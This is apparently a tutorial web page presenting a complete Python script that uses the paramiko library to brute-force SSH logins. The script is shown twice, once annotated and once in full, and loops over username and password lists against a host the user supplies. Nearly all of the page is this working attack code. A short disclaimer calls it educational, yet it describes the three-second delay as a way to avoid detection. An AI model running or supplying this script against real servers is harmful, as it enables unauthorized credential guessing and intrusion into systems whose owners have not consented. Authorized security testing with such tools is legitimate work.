Brute Force SSH Script with Paramiko
This Python script uses the paramiko library to perform a brute-force attack on an SSH server. The script prompts the user for the target hostname, port, and then iterates through provided username and password lists to attempt SSH logins.
1. Importing the Required Modules:
Python
import paramiko
import socket
import time2. Brute Force Function:
Python
def brute_force_ssh(hostname, port, user, password):
# Log to a file for debugging purposes
log = paramiko.util.log_to_file('log.log')
# Create an SSH client object
ssh_client = paramiko.SSHClient()
# Load system host keys
ssh_client.load_system_host_keys()
# Automatically add unknown hosts to the list of known hosts
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
# Attempt SSH connection with the provided credentials
print('Testing credentials {}:{}'.format(user, password))
ssh_client.connect(hostname, port=port, username=user, password=password, timeout=5)
print('Credentials OK {}:{}'.format(user, password))
except paramiko.AuthenticationException as exception:
print('AuthenticationException:', exception)
except socket.error as error:
print('SocketError:', error)
finally:
# Close the SSH client connection
ssh_client.close()
3. Main Function:
Python
def main():
# Get user input for the target hostname and port
hostname = input("Enter the target hostname: ")
port = input("Enter the target port: ")
# Read usernames from a file
users = open('users.txt', 'r').readlines()
# Read passwords from a file
passwords = open('passwords.txt', 'r').readlines()
# Iterate over each combination of username and password
for user in users:
for password in passwords:
# Introduce a delay to slow down the brute-force attempts
time.sleep(3)
# Perform a brute-force attempt using the current username and password
brute_force_ssh(hostname, port, user.rstrip(), password.rstrip())
if __name__ == '__main__':
main()Python
import paramiko
import socket
import time
def brute_force_ssh(hostname,port,user,password):
log = paramiko.util.log_to_file('log.log')
ssh_client = paramiko.SSHClient()
ssh_client.load_system_host_keys()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
print('Testing credentials {}:{}'.format(user,password))
ssh_client.connect(hostname,port=port,username=user,password=password, timeout=5)
print('credentials ok {}:{}'.format(user,password))
except paramiko.AuthenticationException as exception:
print('AuthenticationException:',exception)
except socket.error as error:
print('SocketError:',error)
def main():
hostname = input("Enter the target hostname: ")
port = input("Enter the target port: ")
users = open('users.txt','r')
users = users.readlines()
passwords = open('passwords.txt','r')
passwords = passwords.readlines()
for user in users:
for password in passwords:
time.sleep(3)
brute_force_ssh(hostname,port,user.rstrip(),password.rstrip())
if __name__ == '__main__':
main()Note:
- This script is for educational purposes only. Unauthorized access to systems is illegal and unethical.
- The script uses a basic delay between login attempts (
time.sleep(3)) to avoid detection. In practice, more sophisticated techniques are required. - Brute-force attacks are not recommended, and strong authentication methods, such as key-based authentication, are preferable for securing SSH access.
- Ensure that you have proper authorization before attempting any security testing on systems.
